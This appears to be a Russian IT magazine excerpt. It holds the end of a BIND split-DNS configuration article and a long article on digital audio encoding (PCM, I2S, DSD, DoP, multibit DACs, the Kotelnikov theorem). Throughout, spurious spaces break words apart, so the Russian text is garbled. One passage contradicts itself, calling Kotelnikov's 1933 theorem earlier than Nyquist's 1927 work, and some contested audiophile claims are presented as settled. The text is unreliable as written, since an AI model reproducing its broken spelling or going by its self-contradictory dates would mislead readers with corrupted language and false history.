без взаи мо дейс твия с адми нист ра тором сер вера DNS. Тем не менее пра‐
виль ное решение этой задачи — использ овать split DNS, то есть выдавать
разн ый ответ в зависи мост и от того, кто спраш ивае т.
Рас смот рим при мер нас трой ки. Для прос тоты тест ирова ния в пред елах
одной машины мы исполь зуем адрес 127.0.0.10 в качест ве условной «внут‐
ренней сети» — под localhost отве дена вся сеть 127.0.0.0/8, а не толь ко
обще извес тный 127.0.0.1.
Что бы выдавать раз ные отве ты, нуж но соз дать неск ольк о «пред ставл ений»
(view) в /etc/named.conf. У кажд ого view дол жна быть про писан а опция
match‐clients, которая прин имае т либо имя ACL, либо клю чевое сло во any.
Важ ный момент: если ты исполь зуешь split DNS, то все зоны нуж но помес‐
тить в какое‐то пред став ление, даже если они использ уют ся тольк о в одном
предс тав лении. Ина че демон откаж ет ся загр ужать нас трой ки.
acl internal‐network {
127.0.0.10/32;
};
view "internal" {
match‐clients { internal‐network; };
zone "example.com" {
type master;
file "/var/named/data/example.com‐internal";
};
};
view "external" {
match‐clients { any; };
zone "example.com" {
type master;
file "/var/named/data/example.com";
};
};
Для тест ирова ния восп оль зуемс я утил итой dig, опять же из пакета BIND. Она
поз воля ет ука зать адрес источни ка опцие й ‐b. Убе димс я, что записи
для www.example.com в файл ах example.com и example.com‐internal раз‐
ные, и выпол ним запр осы снач ала с 127.0.0.1, затем с 127.0.0.10.
$ cat /var/named/data/example.com | grep www
www IN A 203.0.113.1
$ cat /var/named/data/example.com‐internal | grep www
www IN A 10.0.0.100
$ dig @127.0.0.1 www.example.com a
;; ANSWER SECTION:
www.example.com. 86400 IN A 203.0.113.1
$ dig ‐b127.0.0.10 @127.0.0.1 www.example.com a
;; ANSWER SECTION:
www.example.com. 86400 IN A 10.0.0.100
Как видим, во вто ром случ ае нам выдали в ответ внут ренний адрес, что нам
и нуж но.
ЗАКЛЮЧЕНИЕ
Кто‐то ска жет, что свой сер вер DNS больш е не нужен и все можн о сде лать
через админку регис тра тора. Но если у тебя сколь ко‐нибудь слож ная внут‐
ренняя сеть, это соверш енно не так. Свой серв ер может сде лать сеть более
удобн ой и управля емой, и BIND поможет тебе в этом.
GEEK
НЕ ПУСТОЙ
ЗВУК
РАЗБИРАЕМСЯ, КАК УСТРОЕНО Mak2k2
ЦИФРОВОЕ КОДИРОВАНИЕ ЗВУКА [email protected]
За думы вал ся ли ты, как в циф ровых устройс твах восп ро‐
изво дитс я звук? Как фор мируе тся звук овой сиг нал из ком‐
бинации един иц и нулей? Навер няка задумыв ал ся, раз уже
начал читать! Но част о даже у проф ес сионал ов есть лишь
общее пред став ление о сов ремен ном звук овом тракт е.
Из этой статьи ты узнае шь, как появил ись разн ые форм аты,
что такое цифр оанал огов ый прео бра зова тель, какие виды
ЦАП бываю т и от чего зависит качест во вос прои звед ения
звук а.
PCM (ИКМ)
Как извест но, в циф ровом звук е прак тичес ки любой фор мат, за редк им
исклю чение м, записы вает ся импульс но‐кодовым потоком, или потоком
PCM — pulse code modulation. FLAC, MP3, WAV, Audio CD, DVD‐Audio и друг ие
форм аты — это лишь спо собы упак овк и, «кон сервац ии» потока PCM.
С чего все начиналось
Те орет ическ ие осно вы циф ровой передач и звук а были разр аботан ы еще на
заре двад цатого века, когд а учен ые попытал ись передать звук овой сиг нал
на больш ое рас сто яние, но не по телефо ну, а доволь но странн ым для того
вре мени спо собом.
Раз делив зву ковую волн у на небольш ие част и, ее мож но было отправл ять
получа телю в неко ем математ ичес ком пред став лении. Получа тель, в свою
оче редь, мог восс та новить исходную вол ну и прос лушать запись. Так же
перед уче ными сто яла задача увел ичить про пуск ную спо соб ность «эфир а».
В 1933 году уви дела свет те орем а В. А. Котельн икова. В западн ых
источни ках ее называ ют теоре мой Най квист а — Шенн она. Да, Гар ри Най‐
квист был перв ым, кто зат ронул эту тему: в 1927 году он рас счит ал минималь‐
ную час тоту дис крет иза ции для передач и фор мы вол ны, впос ледст вии наз‐
ванную в его честь «част отой Най квис та», — но теоре ма Котель никова была
изда на на 16 лет раньш е.
Суть теоре мы прос та: неп рерыв ный сиг нал можн о предс тав ить в виде
интерпо ляцио нно го ряда, сос тоящег о из дис крет ных отче тов, по которым
можн о заново восс та новить сигн ал. Чтоб ы была возм ожность вос стан овить
приб лизитель но исходное сос тояние сиг нала, част ота диск ре тиза ции дол жна
рав нять ся как минимум удвое нной вер хней гра нич ной част оте это го сигн ала.
Мно го лет теоре ма не была вос треб ова на — вплоть до прих ода цифр овой
эпо хи. Тут‐то ей и нашл ось прим ене ние. В час тнос ти, теорем а при годи лась
при разр абот ке форм ата CDDA (Compact Disc Digital Audio), в прос тонародье
его называ ют Audio CD или Red Book. Форм ат был выпущен инже нерам и
Philips и Sony в 1980 году и стал стан дартом для аудио‐ком пакт‐дис ков.
Ха ракт ерис тики форм ата:
• част ота диск ре тизац ии — 44,1 кГц;
• разр ядность кван тования — 16 бит.
INFO
•Час тота диск рет изац ии — количест во отсчет ов
сигн ала, «взят ых» при его диск рет иза ции.
Изме ряет ся в гер цах.
•Раз рядность кван тования — количес тво дво‐
ичных раз рядов, выража ющих амплит уду сиг‐
нала. Изме ряет ся в битах.
Час тота дис крет изац ии 44,1 кГц была рас счи тана из теоре мы Котель никова.
Счи тает ся, что слух сред нестат ис тичес кого челове ка не спо собен улов ить
звук за пред ела ми 19–22 кГц. Веро ятно, час тота 22 кГц и была выбр ана
в качес тве верх ней гра нич ной.
22 000 Ч 2 = 44 000 + 100 = 44 100 Герц
От куда взя лось 100 Герц? Есть вер сия, что это неболь шой запас на случ ай
оши бок или передис кре тизац ии. На самом деле такую час тоту в Sony выб‐
рали из сообр ажений сов мести мос ти со станд артом телевещ ания PAL.
Раз рядность форм ата CDDA — 16 бит, или 65 536 отсче тов, что рав няет ся
динамич ес кому диапа зону при мер но в 96 дБ. Такое больш ое чис ло отсчет ов
выбр ано не случ ай но. Во‐перв ых, из‐за сильн ого вли яния шумов кван‐
тования, во‐вто рых, что бы обесп ечить форм альн ый динамич ес кий диапаз он
выше, чем у главн ых тог да конк урент ов — кас сетных записей и винилов ых
плас тинок. Я рас ска жу об этом под робнее в раз деле про цифр оанал огов ые
пре образ оват ели.
Даль нейшее разв итие PCM так и про дол жилось по принц ипу умнож ения
на два. Появи лись друг ие част оты диск рет изац ии: снач ала добави лась час‐
тота диск ре тиза ции 48 кГц, а в даль нейшем осно ван ные на ней част оты 96,
192 и 384 кГц. Час тота 44,1 кГц так же удва ивал ась до 88,2, 176,4 и 352,8 кГц.
Раз рядность же увел ичил ась с 16 до 24, а поз днее и до 32 бит.
След ующим пос ле CDDA в 1987 году появил ся форм ат DAT — Digital Audio
Tape. Част ота дис кре тизац ии в нем сос тавила 48 кГц, раз рядность кван‐
тования не измен илась. И хотя фор мат про валил ся, част ота диск рет иза‐
ции 48 кГц при жилась на сту диях зву коза писи, как пишут, из‐за удобс тва циф‐
ровой обра бот ки.
В 1999 году вышел форм ат DVD‐Audio, который поз волял записать на один
диск шесть стер еодо рожек с час тотой дис крет иза ции 96 кГц и раз‐
рядностью 24 бит или две сте реодо рож ки с част отой 192 кГц, 24 бит.
В том же году был пред став лен фор мат SACD — Super Audio CD, но дис ки
для него стал и про изво дить толь ко спуст я три года. Под робнее об этом фор‐
мате я рас ска жу в раз деле про DSD.
Это основные форм аты, которые счит ают ся станд артом для цифр овых зву‐
коза писей на носите лях. Теперь расс мот рим, как передаю тся данн ые в циф‐
ровом звук овом трак те.
СТРУКТУРА ЦИФРОВОГО ЗВУКОВОГО ТРАКТА
При про игрыв ании музыки прои сход ит прим ерн о след ующее: пле ер
при помощи кодека, выпол ненног о в виде устрой ства или прогр аммы, рас‐
паковыв ает файл в задан ном форм ате (FLAC, MP3 и дру гие) или счит ывае т
данн ые с CD, DVD‐Audio или SACD‐дис ка, получая станд арт ный поток данн ых
PCM. Затем этот поток переда ется через USB, LAN, S/PDIF, PCI и так далее
в I2S‐кон вертер. В свою оче редь, кон вертер пре образ ует полученн ые данн ые
в так называе мые кад ры интерфей са переда чи дан ных I2S (не путать с I2С!).
I2S
I2S — это пос ледоват ель ная шина переда чи цифр ового аудио по тока. Сейч ас
I2S — стан дарт для подк лю чения источни ка сигн ала (компью тер, про игры‐
ватель) к цифр оана логов ому пре обра зоват елю. Имен но через нее подк лю‐
чает ся нап рямую или опос редован но подав ляющее больш инс тво ЦАП.
Сущест ву ют и друг ие станд арты переда чи цифр ового аудио пот ока, но они
исполь зуют ся горазд о реже.
Вых од (вход) I2S на печат ных плат ах
Шин а I2S может сост оять из трех, четырех и даже пяти кон тактов:
• continuous serial clock (SCK) — так товый сиг нал битовой синх ро низа‐
ции (может называтьс я BCK или BCLK);
• word select (WS) — так товый сиг нал кад ровой син хрон иза ции (может
называтьс я LRCK или FSYNC);
• serial data (SD) — сигн ал передав аемых данн ых (может называть ся
DATA, SDOUT или SDATA). Как пра вило, данн ые переда ются от передат чика
к при емни ку, но бываю т устрой ства, которые могут выст упать и прие мни‐
ком, и передат чиком одновре мен но. В таком слу чае может при сутс тво вать
еще один кон такт;
• serial data in (SDIN) — по это му кон такту дан ные движ ут ся в нап равле‐
нии прие ма, а не передач и.
SD или SDOUT слу жит для подк лю чения цифр оанал огов ого пре обра зоват еля,
а SDIN использ ует ся для подк лю чения ана лого‐цифр ового прео бра зоват еля
к шине I2S.
В больш инс тве слу чаев при сутс тву ет еще один кон такт, Master Clock
(MCLK или MCK), он исполь зует ся для син хро низа ции при емни ка и передат‐
чика от одно го генера тора так товых импульс ов, что бы сниз ить коэф фицие нт
ошиб ок передач и дан ных. Для внеш ней син хро низац ии MCLK слу жат два
генера тора такт овых импульс ов: с част отой 22 579 кГц и 24 576 кГц. Перв ый,
22 579 кГц, — для част от, крат ных 44,1 кГц (88,2, 176,4, 352,8 кГц), а вто рой,
24 576 кГц, — для час тот, крат ных 48 кГц (96, 192, 384 кГц). Так же могут
встреч ать ся генерат оры на 45 158,4 кГц и 49 152 кГц — наверн яка ты уже
заметил, как в мире цифр ового зву ка всё любят умно жать на два.
Frame, или кадр I2S
В I2S обяз ательн о использ уют ся три конт акта: SCK, WS, SD — осталь ные кон‐
такты опцио нальн ы.
По каналу SCK переда ются синх ро импуль сы, под которые синх рон изи‐
рова ны кад ры.
По каналу WS передае тся длин а «сло ва», при этом исполь зуют ся
и логичес кие сост ояния. Если на кон такте WS логичес кая един ица, знач ит,
переда ются данн ые пра вого канала, если ноль — дан ные левого канала.
По SD передаю тся биты дан ных — зна чения амплит уды звук овог о сиг нала
при кван товании, те самые 16, 24 или 32 бита. Никаких кон троль ных сумм
и служ еб ных каналов на шине I2S не пре дус мотре но. Если данн ые
при переда че потеряю тся, возм ожност и вос стан овить их не сущест вуе т.
На дорогих ЦАП час то быва ют внешн ие разъ емы для под клю чения к I2S.
Использ ование таких разъ емов и кабелей может пло хо отраз итьс я на зву ке,
вплоть до появ ления «артеф ак тов» и заика ний, все будет зависеть от качес‐
тва и дли ны про вода. Все же I2S это внут рисхем ный разъ ем, и дли на про вод‐
ников от передат чика до при емни ка дол жна стрем итьс я к нулю.
Расс мот рим, как переда ется поток дан ных PCM по шине I2S. Напр имер,
при переда че PCM 44,1 кГц с разр ядностью 16 бит длин а слов а на канале SD
будет соот ветст во вать этим шест над цати битам, а дли на кадр а будет 32 бита
(прав ый канал + левый). Но чаще все го переда ющие устрой ства использ уют
дли ну сло ва 24 бита.
При вос прои звед ении PCM 44,1 × 16 стар шие биты либо попр осту игнор иру‐
ются, так как запол нены нулями, либо, в случ ае со ста рыми муль тибит ными
ЦАП, они могут перейт и на след ующий кадр. Дли на «сло ва» (WS) может такж е
зависеть от плее ра, через который вос прои зво дит ся музыка, а такж е от драй‐
вера устройс тва вос про изве дения.
Аль терн ативой PCM и I2S может быть запись звук овог о сигн ала в DSD.
Этот форм ат раз вивалс я парал лель но с PCM, хотя и тут теоре ма Котель‐
никова оказ ала некото рое влия ние. Для улуч шения качес тва зву чания
по срав нению с CDDA упор был сдел ан не на повыше ние раз рядност и кван‐
тования, как в фор мате DVD Audio, а на увел ичен ие час тоты диск рет изац ии.
DSD
DSD расш ифро выва ется как Direct Stream Digital. Он берет свое начало
в лабора тори ях фирм Sony и Philips — впро чем, как и дру гие форм аты, рас‐
смат ривае мые в этой статье.
SACD
Вперв ые DSD увид ел свет на диск ах Super Audio CD в далеком 2002 году.
На тот момент SACD казал ся шедев ром инже нерн ой мысл и, в нем был при‐
менен соверш енно новый спо соб записи и восп рои зве дения, очень близк ий
к ана лого вым устрой ствам. Реали зация одновре менн о была прос той и изящ‐
ной.
Но ситель даже оснасти ли защитой от копиров ания, хотя и без этог о
никакие пираты были не страш ны. Под мар ками Sony и Philips ста ли выпус кать
«закр ытые» устрой ства исклю чительн о для вос прои зве дения, без какой‐либо
воз можнос ти копиро вать диск и. Про изво дител и прод ава ли студ иям обор удо‐
вание для записи, но при этом оста вили за собой кон троль за выпуск ом
SACD‐диск ов.
Как знать, возм ожно, форм ат SACD мог бы обрести популярн ость, срав‐
нимую с Audio CD, если бы не сто имость устрой ств вос про изве дения. Безос‐
новательн о накр учивая цены на прои грыв ател и, руково дител и Sony и Philips
сами мешали популяр ности сво его форм ата. А след ующая ошиб ка и вов се
пос тавила крест на про дажах спе циали зиро ван ных устройс тв. Для прод‐
вижения игро вой прист авки Sony PlayStation инжен еры Sony добавил и воз‐
можность слу шать на ней SACD. Хакеры тут же взло мали прист авку и стал и
копиро вать диск и SACD в ISO‐обра зы, которые мож но записать на обыч ную
бол ванку DVD и вос прои зво дить на любом пле ере фирм‐кон курен тов; друг ие
прост о извле кали дорожк и для восп ро извед ения на компь ютер е.
Звук озап исы вающие ком пании тоже хороши: вопр еки ожид ани ям мелома‐
нов, они не польз овались все ми воз можност ями нового фор мата высоко го
раз решения. На студ иях не записы вали в DSD музыку с мас тер‐лент ы, а бра‐
ли циф ровую запись в PCM, пересв одили и обра баты вали всем под ряд:
лимите рами, ком пресс орами, дитеринг ом с нойз‐шей пинг ом и раз личны ми
цифр овыми фильт рам и. В итог е на выходе получалс я такой стер иль ный
и сухой звук, что даже CD Audio мог бы звуч ать гораз до лучш е. Таким образ ом
было подорв ано доверие слуш ател ей к SACD, а заод но и к новым форм атам
вообщ е.
INFO
Увы, с винилов ыми плас тинкам и эта пороч ная
прак тика при меняе тся и по сей день: студ ии
печатаю т винил с циф ровой записи, даже если
у них есть запись на мас тер‐лен те. Так что
на сов ремен ном виниле запр осто может оказ ать‐
ся 44,1 × 16.
DSD
Что же пред став ляет собой DSD? Это одноб ит ный поток с очень высокой,
по сравн ению с PCM, час тотой диск ре тизац ии. Так же в DSD использ ует ся
иной вид модуля ции, PDM (Pulse Density Modulation) — плот нос тно‐импуль‐
сная модуляц ия. Запись звук а в таком фор мате прои зво дит ся одно бит ным
ана лого‐циф ровым пре обра зоват елем, сейч ас такие АЦП на осно ве сиг‐
ма‐дельт а‐модуляц ии исполь зуют ся пов семест но. Проц есс записи выг лядит
при мер но так: пока амплит уда вол ны воз раста ет, на выходе АЦП логическ ая
един ица, ког да амплит уда падае т, на выходе логичес кий ноль, сред него зна‐
чения быть не может. Срав нивае тся с пред ыдущ им знач ение м ампли туды
вол ны.
DSD позв оля ет дост ичь важн ых преи мущ еств по сравн ению с PCM:
• точн ее про рисов ка вол ны;
• выш е помехо устой чивость;
• бо лее прос той спо соб ком мутации и переда чи циф рового потока;
• тео рет ическ и есть воз можность умень шить стои мость, упростив схем у
ЦАП, но из‐за обратной совм естим ост и со ста рыми форм атами прои зво‐
дите ли вряд ли пой дут на это.
Изн ачальн о на SACD‐диск ах использ овал ся фор мат DSD x64 c час тотой дис‐
кре тизац ии 2822,4 кГц. За осно ву взял и част оту дис кре тиза ции Audio CD
44,1 кГц, увел иченн ую в 64 раза, отсю да назв ание x64. Сегод ня реальн о
исполь зуют ся след ующие DSD:
• x64 = 2822,4 кГц;
• x128 = 5644,8 кГц;
• x256 = 11 289,6 кГц;
• x512 = 22 579,2 кГц;
• зая влен DSD x1024.
DXD
Су щес твуе т некий про межу точ ный фор мат меж ду PCM и DSD под назв ание м
DXD — Digital eXtreme Definition. Это, по сути, PCM высоко го раз решения —
352,8 кГц или 384 кГц с разр ядностью кван тования 24 или 32 бита. Он при‐
меняе тся в студ иях для обра бот ки и посл еду ющег о свед ения матери алов.
Но такой подх од ущер бен: во‐перв ых, он не позв оля ет задейс твов ать все
преи мущ ест ва DSD, во‐вто рых, раз мер файл ов получа ется больш е, чем
в DSD. На текущий момент флаг манс кие ЦАП на вхо де I2S при нима ют поток
данн ых PCM с част отой диск рет иза ции до 768 кГц и раз рядностью до 32 бит.
Страш но даже счи тать, какой объе м на жес тком дис ке будет занимать один
аль бом в таком раз решении.
DSD прак тическ и отде лил ся от SACD. Теперь фор мат DSD чаще мож но встре‐
тить упа кованн ым в фай лы с рас ширение м DSF и DFF. Выпущен о мно жес тво
про игрыв ател ей с возм ожностью записи в DSF и DFF, любител и хорошег о
зву ка все чаще и чаще оцифр овываю т винилов ые пласт инки именн о в фор‐
мате DSD. А вот на звук озап исы вающих студ иях никт о не хочет вкла дыватьс я
в малопо пулярн ые форм аты, так что там прод олж ают кле пать звук
на минимал ках: 44,1 × 16.
Коммутация DSD и передача данных
Для передач и циф рового потока в DSD использ ует ся трехк онтакт ная схем а
под клю чения:
1. DSD Clock Pin (DCLK) — син хро низац ия;
2. DSD Lch Data Input Pin (DSDL) — дан ные левого канала;
3. DSD Rch Data Input Pin (DSDR) — дан ные прав ого канала.
В отли чие от I2S, передач а данн ых DSD пре дельн о упро щена. DCLK задае т
такт овую час тоту битовой син хрон иза ции, а по кон тактам DSDL и DSDR пос‐
ледоват ельн о передаю тся сами дан ные левого и прав ого канала соот ветс‐
твенн о. Никаких ухищ рений тут нет, запись и вос прои звед ение в DSD дела‐
ется побит но. Такой под ход дает макс имальн ое приб лижение к ана логов ому
сиг налу, а за счет высокой час тоты умень шают ся шумы квант ования и на
порядок повыша ется точ ность вос прои звед ения.
DOP
DoP час то при меняе тся для передач и потока данн ых DSD, поэтом у упом януть
о нем сто ит. DoP — это открыт ый стан дарт переда чи дан ных DSD через кадр ы
PCM (DSD over PCM). Стан дарт созд ан для того, чтоб ы переда вать поток
через драйв еры и устройс тва, не под держив ающие пря мую переда чу DSD (не
DSD native).
Прин цип работы такой: в 24‐бит ном кад ре PCM старш ие 8 бит заполн яют‐
ся еди ница ми — это зна чит, что в данн ый момент переда ются дан ные DSD.
Оставши еся 16 бит запол няют ся пос ледоват ель но битами дан ных DSD.
Для передач и DSD x64 с час тотой одно бит ного потока 2822,4 кГц необ‐
ходима час тота диск рет иза ции PCM, рав ная 176,4 кГц (176,4 × 16 =
2822,4 кГц). Для переда чи DSD x128 с част отой 5644,8 кГц уже пот ребуе тся
час тота диск рет иза ции PCM 352,8 кГц.
INFO
Подр обнос ти ты можешь най ти в опи сании стан‐
дарта DoP (PDF).
ЦИФРОАНАЛОГОВЫЕ ПРЕОБРАЗОВАТЕЛИ
Пер ейд ем к ЦАП — циф ро‐ана логов ым прео браз оват елям. Эта сложн ая тема
всегд а покр ыта завесой тай ны и прис ыпан а аудио филь ской мис тикой. К тому
же вок руг цифр оана лого вых прео бра зоват елей очень мног о спе куляц ий про‐
тиво борс тву ющих лагерей: мар кетоло гов, ауди офил ов и скепт иков. Давай
разб еремс я, в чем тут дело.
Мультибитные ЦАП
Вна чале, когд а тольк о появил ся форм ат Audio CD, PCM пре обра зовыв али
в ана лого вый сиг нал при помощи муль тибит ных ЦАП. Они были пост рое ны
на осно ве резис тивной мат рицы пос тоянн ого импед анс а, так называе мой
мат рицы R‐2R.
Упр ощен ная схе ма мульт ибит ного ЦАП
Мульт ибит ные ЦАП работа ют так: поток PCM раз деляе тся на два канала,
левый и прав ый, и перево дит ся из посл едоват ель ного пред став ления сиг‐
нала в парал лель ное — нап ример, при помощи сдви говых регис тров.
В буфер одно го регист ра записы вают ся дан ные прав ого канала, а в буфер
дру гого — данн ые левого. Дан ные переда ются одновре менн о по парал лель‐
ным пор там с задан ной час тотой дис кре тиза ции (чаще все го 44,1 кГц), как на
изоб ражении ниже, тольк о парал лель ных выходов не восемь, а шес тнад цать,
потому что разр ядность 16 бит. В зависим ос ти от положен ия в кадр е стар шие
и младш ие биты будут встреч ать на пути сле дован ия элек три чес кого тока раз‐
ное сопр отив ление, пос коль ку раз ным будет количес тво посл едова тель но
под клю чен ных резист оров. Чем старш е бит, тем больш е дол жна быть его зна‐
чимость.
Мульт ибит ные ЦАП, или мульт ибиты, треб уют очень качест вен ных комп онен‐
тов и точ ной подг онки резис торов, ведь любые неточн ости в номина лах ком‐
понен тов сум мирую тся. Это при водит к серье зным отклон ения м от исходной
вол ны и соз дает погр ешность в неск ольк о разр ядов кван тования.
В муль тибит ных ЦАП вось мидесят ых годов нет никаких манипул яций
с PCM. Мульт ибиты под клю чают ся нап рямую к шине I2S и про игрыв ают PCM
как есть: пришл и данн ые пра вого канала (16 бит), подож дал данн ые втор ого
канала (16 бит), выдал оба канала на резис тивную мат рицу — и так с час‐
тотой 44,1 кГц.
В восьм идесят ые годы част ота и раз рядность опред еля лись форм атом
СDDA, который стал практ ическ и эта лон ной реализ ацие й теоре мы Котель‐
никова. С некото рыми огов ор ками так можн о оха рак теризо вать и более поз‐
дний MP3. Тольк о начиная с фор мата DVD Audio был перес мотрен под ход
к оциф ровке и восп ро изве дению звук а.
Так работа ли прост ейш ие пер вые ЦАП, позд нее ста ли использ овать пре‐
обра зоват ели с более слож ным устройс твом. Схем ы модер низиров али,
качес тво комп онент ов улуч шалось, а еще в мульт ибит ных ЦАП ста ли при‐
менять тех нологию oversampling. Oversampling — это передис крет иза ция
цифр ового потока с повышен ием час тоты диск рет иза ции и разр ядност и
квант ования для умень шения шума кван тования.
Что бы объ яснить, зачем использ ует ся oversampling, необх одимо рас ска‐
зать о прим енен ии теоре мы Котель никова на прак тике. Здесь все не так
радуж но, как предс тавл яет ся в мире математ ики, — ни о каком «с любой точ‐
ностью», как написан о в теоре ме, и речи не идет.
Теорема Котельникова
«Любую функ цию F(t), сос тоящую из час тот от 0 до f1, можн о
непр ерыв но переда вать с любой точ ностью при помощи
чисел, след ующих друг за друг ом через 1/(2f1) секунд»
Следс твия теоре мы Котель никова:
• лю бой анал ого вый сигн ал может быть восс тан овл ен с какой угодн о точ‐
ностью по сво им диск рет ным отсче там, взя тым с част отой f > 2fc, где fc —
мак симальн ая час тота, которая огра ничен а спек тром реальн ого сиг нала;
• есл и макс ималь ная част ота в сигн але рав на полови не час тоты диск ре‐
тиза ции (наложе ние спект ра) или прев ыша ет ее, то спо соба восс та новить
сигн ал из дис крет ного в анал ого вый без иска жений не сущест ву ет.
Есл и тебя инте ресу ют под робнос ти, можешь обра титьс я к пер воис точни ку —
работе «О про пус кной спо соб ности „эфир а“ и про волок и в элект рос вязи»
авторст ва В. А. Котельн икова (PDF).
→Продолжение статьи
GEEK ← НАЧАЛО СТАТЬИ
НЕ ПУСТОЙ ЗВУК
РАЗБИРАЕМСЯ, КАК УСТРОЕНО
ЦИФРОВОЕ КОДИРОВАНИЕ ЗВУКА
Сложности с теоремой Котельникова
Част о теоре му Котельн икова вос при нимаю т слиш ком бук валь но и воз водят
в абсо лют. Скольк о я про читал стат ей тверд олобых скеп тиков о чудес ных
фор матах MP3 и CDDA и о безумн ых ауди офи лах, которые впар ива ют всем
свои ненужн ые DVD‐Audio и DSD! Конеч но же, главн ым аргум ент ом у них выс‐
тупа ет теорем а Котель никова.
Начн ем с того, что част оты Найк вист а на практ ике недос таточ но
для переда чи точ ной форм ы вол ны. Из‐за неидеаль ных усло вий неиз бежно
появл яют ся шумы и иска жения: шумы квант ования при записи зву ково го сиг‐
нала, шумы округлен ия при его обраб от ке и восп ро извед ении и не толь ко.
При нято счит ать, что шумы кван тования не могут быть мень ше половин ы
младш его раз ряда кван тования. Это обус ловле но тем, что при кван товании
зву ково го сиг нала делае тся округле ние до ближ ай шего разр яда, в больш ую
или мень шую сто рону. Шумы округлен ия такж е не могут быть мень ше полови‐
ны млад шего разр яда, или, как его еще называ ют, шага кван тования. Есть
еще собст венн ые шумы АЦП и ЦАП, но для них сложн о при вест и точ ную циф‐
ру, ведь на них влия ет больш ое количест во факт оров: конк рет ная реали‐
зация, количес тво и качес тво комп онент ов и даже окру жающая сре да. Обыч‐
но собст вен ные шумы сос тавля ют нес коль ко раз рядов кван тования.
Из это го сле дует, что час тота дис крет изац ии дол жна быть знач ительн о
выше час тоты Най квис та, что бы комп енсир овать потери при оцифр овке
и пос леду ющем вос про изве дении цифр овой записи.
Прив еду при мер из кон спект а лек ций Э. И. Волог дина «Стан дарты и сист емы
цифр овой звук озап иси»:
Как вид но, пока пиковое зна чение входн ого сиг нала не пре выша-
ет 0,5 кван та, выходн ой сиг нал квант овател я равен нулю, то есть име-
ет мест о цен траль ная отсечка. Это прив одит к нелинейн ос ти прео бра-
зова ния и воз никнов ению больш их иска жений при малых амплит удах
ЗС. Пока знач ение A > 1,5, выходн ой сиг нал демоду лятор а предс тав-
ляет собой посл едоват ель ность пря моуголь ных импульс ов, у которых
с изме нени ем уров ня ЗС меня ется дли тельн ость. Это обусл овлен о
ошиб ками кван тования, которые соиз меримы с амплит удой вход ного
сиг нала. Иска жения начина ют замет но уменьш ать ся тольк о при A > 2.
За А взят а амплит уда сиг нала.
В прив еден ной цитате речь идет толь ко о шуме квант ования, при чем взя то
минимальн о воз можное зна чение — 1/2 шага квант ования. Шумы округлен ия
оказ ыва ют прим ер но такое же вли яние — минимум 1/2 шага квант ования.
Кро ме шумов, в цифр овой записи могут появл ятьс я искаж ения, выз ванные
использ ование м ФНЧ — фильт ра низк их час тот. По теорем е Котельн икова
необх одимо огран ичить час тоту звук овог о сигн ала фильт ром и прин ять ее
за верх нюю гра нич ную, из которой потом умно жение м на два вычисл яют час‐
тоту Найк вис та. Проб лема в том, что в теоре ме расс мат рива ется иде аль ный
ФНЧ, которых в реаль ном мире не бывае т. Прив еду цитату из того же кон‐
спек та лекц ий Вологд ина:
Для надежн ого подав ления спект раль ных сост авля ющих выше час тоты
Найк вис та антиэ лайз инг овый ФНЧ долж ен иметь част оту срез а нес-
коль ко ниже част оты Найк вист а и очень сильн о (не меньш е 90 дБ)
подавл ять сост авля ющие спект ра сиг нала на этой час тоте. Обычн о
это эллипти чес кие филь тры 7...9 порядк ов. Высокая крут из на срез а
ФНЧ прив одит к спец ифич еск им искаж ени ям в виде «зво на». Это свя-
зано с тем, что отклик на импуль сное воз дейс твие такого фильт ра
опис ыва ется осциллир ующей функ ци ей вида sinс (v). Чем выше кру-
тиз на сре за ФНЧ, тем мед леннее прои схо дит затуха ние зву ковых
колеба ний. Единс твенн ым спос обом борьб ы с этим и искаж ени ями
явля ется повышен ие част оты выборок. Это поз воляе т уменьш ить кру-
тиз ну спад а анти элай зинг ового ФНЧ без уменьш ения эффективн ости
подавл ения спект раль ных сос тавляю щих выше част оты Най квис та.
Рас смот рю еще один инте ресн ый момент. В теоре ме Котель никова при‐
водит ся беск онечн ый по врем ени сиг нал, что про тиво речит услов иям записи
на носитель или в файл.
Те орем а Котельн икова дает пре дель ные соотн ошения для идеа ли-
зиро ван ных усло вий, сред и которых след ует отмет ить огран иченн ость
спект ра по част оте и беск онечн ое врем я наб людения. Все реальн ые
сиг налы конеч ны во вре мени и име ют неог раничен ный по част оте
спектр. Исполь зование модели с огран иченн ым спект ром и конеч ное
вре мя наб людения при водят к пог решност и при восс тан овл ении неп-
рерывн ого сиг нала.
Рас четы показыв ают, что на практ ике част ота FД сущес твенн о пре-
вышае т час тоту дис крет изац ии по Котельн икову» (здесь FД — это час-
тота дис крет иза ции).
Ист очник — И. П. Ястре бов «Дис крет изац ия неп рерывн ых сигн алов во вре‐
мени. Теоре ма Котельн икова» (PDF)
Что бы обри совать масш таб пробл емы, при веду еще одну цитату.
Иск ажения, выз ванные ошиб ками квант ования, уве рен но замет ны
на слух уже при восьм ираз рядном кодиро вании, хотя при этом
величин а искаж ений не пре выша ет 0,5%. Это знач ит, что при шес-
тнад цатираз рядном кодиро вании, исполь зуемом при записи CD,
реальн ый динамич еск ий диапа зон цифр ового зву ка не прев ыша-
ет 48 дБ, а не 96 дБ, как это пишетс я в рекл аме».
Ис точник — Э. И. Вологд ин «Цифр овая звук озап ись» (PDF)
Выводы
Тео ре ма Котель никова математ ичес ки вер на, но для практ ичес кого ее при‐
менен ия тре бует ся сущес твенн ая корр екция. И част оту Найк вис та мож но
обоз начить ско рее как минимальн о допуст имую для вос стан ов ления приб‐
лизитель ной фор мы вол ны, но никак не для вос ста новл ения сиг нала «с любой
точн остью». Для комп енса ции потерь при оциф ровке и восп рои звед ении час‐
тота дис кре тизац ии дол жна быть не в два, а как минимум в неск оль ко раз
выше вер хней гра нич ной част оты.
На этом оста вим в покое теоре му Котельн икова и перейд ем к изуч ению
раз личных шумов при записи, све дении и вос про изве дении зву ковог о сиг‐
нала.
ШУМЫ
Су щес твуе т мно жес тво видов шумов, влия ющих на запись. При веду
основные: шум кван тования, шум округле ния, дрож ание апер туры, нелиней‐
ные искаж ения, анал огов ый шум. Можешь позн акомитьс я с опи сания ми
четырех типов шумов и фор мулами, что бы прим ер но понять, сколь ко иска‐
жений в оциф рован ный сиг нал внос ит кажд ый вид.
Не сто ит восп ри нимать терм ин «шум» как про явле ние имен но зна комо го
всем «белого шума». Раз ные виды шумов восп рин има ются по‐раз ному,
в данн ом кон текс те тер мин «шум» скор ее нужн о понимать как потерю част и
полезн ого сиг нала.
Прим ер но рас счит ать отдельн ый вид шума еще можн о, но общий уро вень
шумов при оцифр овке — едва ли. Это очень слож ная математ ичес кая модель
